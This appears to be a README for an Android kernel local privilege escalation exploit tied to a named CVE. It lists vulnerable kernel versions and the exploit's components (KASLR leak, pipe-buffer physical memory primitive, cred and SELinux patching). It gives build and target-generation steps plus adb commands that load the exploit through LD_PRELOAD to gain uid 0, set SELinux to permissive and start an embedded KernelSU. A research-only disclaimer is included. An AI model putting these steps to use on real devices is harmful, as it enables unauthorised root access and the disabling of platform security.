
Android のローカル権限昇格エクスプロイト。CVE-2026-43499 に対応し、カーネルの creds をパッチして、LD_PRELOAD 経由で late-load モードの組み込み KernelSU を起動します。
カーネル脆弱性CVE-2026-43499に基づくローカル権限昇格の適応、組み込みKernelSUを統合。コンパイルしてpreload.soを生成;トリガー成功後、late-loadモード(脱獄モード)でKernelSUを起動します。サポート(xbl_config.img / vendor_boot.img) + boot.img でtarget.hを生成
カーネル脆弱性に基づくローカル権限昇格の適応、組み込みKernelSUを統合。
コンパイルしてpreload.soを生成;エクスプロイト成功後、KernelSUはlate-loadモード(脱獄モード)で起動されます。
(xbl_config.img / vendor_boot.img) + boot.imgからtarget.hを生成することをサポート。または他の方法
参考プロジェクト:
[!IMPORTANT] The unauthorized exploitation of vulnerabilities to damage, compromise, or gain access to computer systems is prohibited by law. This project is provided strictly for research, educational, and learning purposes, and may only be used in systems and environments for which prior authorization has been granted. Any use of this project is undertaken at the user's own risk. The authors and contributors assume no liability for any misuse of this project or for any damages, losses, or legal consequences resulting from its use.
免責事項:脆弱性を不正に利用してコンピュータシステムに損害を与えたり、侵害したり、不正アクセスしたりする行為は、関連する法令に違反する可能性があります。本プロジェクトは、合法的に認可されたシステムおよび環境において、セキュリティ研究、学習、テストの目的にのみ使用してください。本プロジェクトの使用、悪用、または改変によって生じたいかなる直接的または間接的な損害、法的責任、その他の結果についても、使用者が自ら負担するものとし、プロジェクトの作者および貢献者は一切の責任を負いません。
お使いのカーネルバージョンが {Linux Kernel} の場合、今回の脆弱性の影響範囲内です
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
2.6.39 <= {Linux Kernel} < 6.1.175
6.2 <= {Linux Kernel} < 6.6.140
6.7 <= {Linux Kernel} < 6.12.86
6.13 <= {Linux Kernel} < 6.18.27
6.19 <= {Linux Kernel} < 7.0.4
| Target | 状態 |
|---|---|
rodin(デフォルト) | 検証済み |
その他 src/targets/* | 参考 |
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 本仓库统一 target.h 生成入口
│ └── vendor/ # 从父目录同步的原始生成辅助脚本
└── src/
├── main.c # exploit 主流程
├── preload.c # LD_PRELOAD constructor + ksud 写出/启动
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
~/android-ndk-r29ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOTmakegitmake PROJECT=<target> -j$(nproc)
出力:
build/<target>/bin/preload.so
make list-projects
本リポジトリには統一target生成スクリプトが既に組み込まれています:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.pyはエントリスクリプトです。親ディレクトリのすべてのtarget生成フローを参考にしてラップし、最終的に本リポジトリのソースに適合する完全なsrc/targets/<project>/target.hを出力します。
スクリプトはIKCONFIG内のCONFIG_DEBUG_INFO_BTF=yを強制検証しません。構造体フィールドのオフセットやpercpu entry_taskレイアウトが検証できない場合、警告を出力して生成を続行します。
イメージ内に利用可能なBTFが全くない場合、例えば以下が表示された場合:
有效 vmlinux BTF 候选不唯一: []
ジェネレータはBTFなしfallbackに入ります:
boot.imgのkallsymsから関数/グローバルオブジェクトのシンボルオフセットの復元を続行;rodin;without BTFと使用されたテンプレートが示される;fallbackテンプレートを指定可能:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 或
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
デフォルトの書き込み先:
src/targets/<project>/target.h
スクリプトを直接呼び出すことも可能:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
profile.jsonには物理アドレス情報を含める必要があります。例えば:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
profileのみ生成:
make detect-profile PROFILE_OUT=profile.json
profileを検出して即座にtargetを生成:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
スクリプトは親ディレクトリのジェネレータがサポートする他のエントリも公開しています:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
成功時の出力形式:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodinはデフォルトで実機検証済みの以下を保持します:
#define MM_STRUCT_SZ 0x500
上書きが必要な場合:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
一致するboot imageとprofileから生成することを推奨:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
完全なtarget headerには以下が含まれます:
PSELECT_WAITER_WORD_SHIFTMM_STRUCT_SZとKernelSnitchチューニング値現在のソースにはデフォルト値が書き込まれているため、通常の実行ではLD_PRELOADを設定し、任意のプログラム(推奨:toybox id)を実行するだけです。
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
現在のデフォルト設定は以下の通りです:
デフォルトで実際に実行されるksudコマンド:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
これらの環境変数は実行時に上書き可能です。例えば:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
既に書き出されたksudを再利用:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
make clean
make cleanはbuild/embed/ksudを保持します。これはsrc/ksud_blob.Sが以下の方法でそれを埋め込んでいるためです:
.incbin "build/embed/ksud"
手動クリーンアップでbuild/embed/ksudが失われた場合、復元可能:
git checkout -- build/embed/ksud
.incbin "build/embed/ksud" not found組み込みpayloadを復元して再ビルド:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
success=0を返すrodinはlegacy/simple pselect layoutの使用を想定しています:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
失敗した試行によりデバイス状態が汚染されている場合、再起動してから再試行:
adb reboot
F_SETPIPE_SZがEPERMを返す通常、失敗/残留した試行による状態問題であり、再起動が最速のクリーンアップ方法:
adb reboot
ksudは起動するが/proc/modulesにKernelSUがないログを確認:
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
必要に応じてroot shellで手動実行:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
GPL-3.0. See LICENSE.
| 設定 | デフォルト値 | 説明 |
|---|
KSUD_LATE_LOAD | 1 | ksud late-loadを実行 |
KSUD_ALLOW_SHELL | 1 | --allow-shellを渡す |
KSUD_PACKAGE | me.weishu.kernelsu | ksudに渡すマネージャーパッケージ名(効果がない模様) |
KSUD_DST | /data/local/tmp/ksud | 組み込みksudの書き出し先パス |
KSUD_SKIP_WRITE | 0 | デフォルトで組み込みksudを書き出す |
KSUD_DEFER_TO_PARENT | 1 | patch済みの親/現在のプロセスパスからksudを起動 |
ROOT_PATCH_SELF | 1 | 現在のプロセスをuid 0にpatch |
DISABLE_SELINUX | 1 | root patch時にSELinux enforcingをpermissiveに書き込む |
ROOT_EXIT_SLEEP | unset / 0 | 戻る前に追加のsleepを行わない |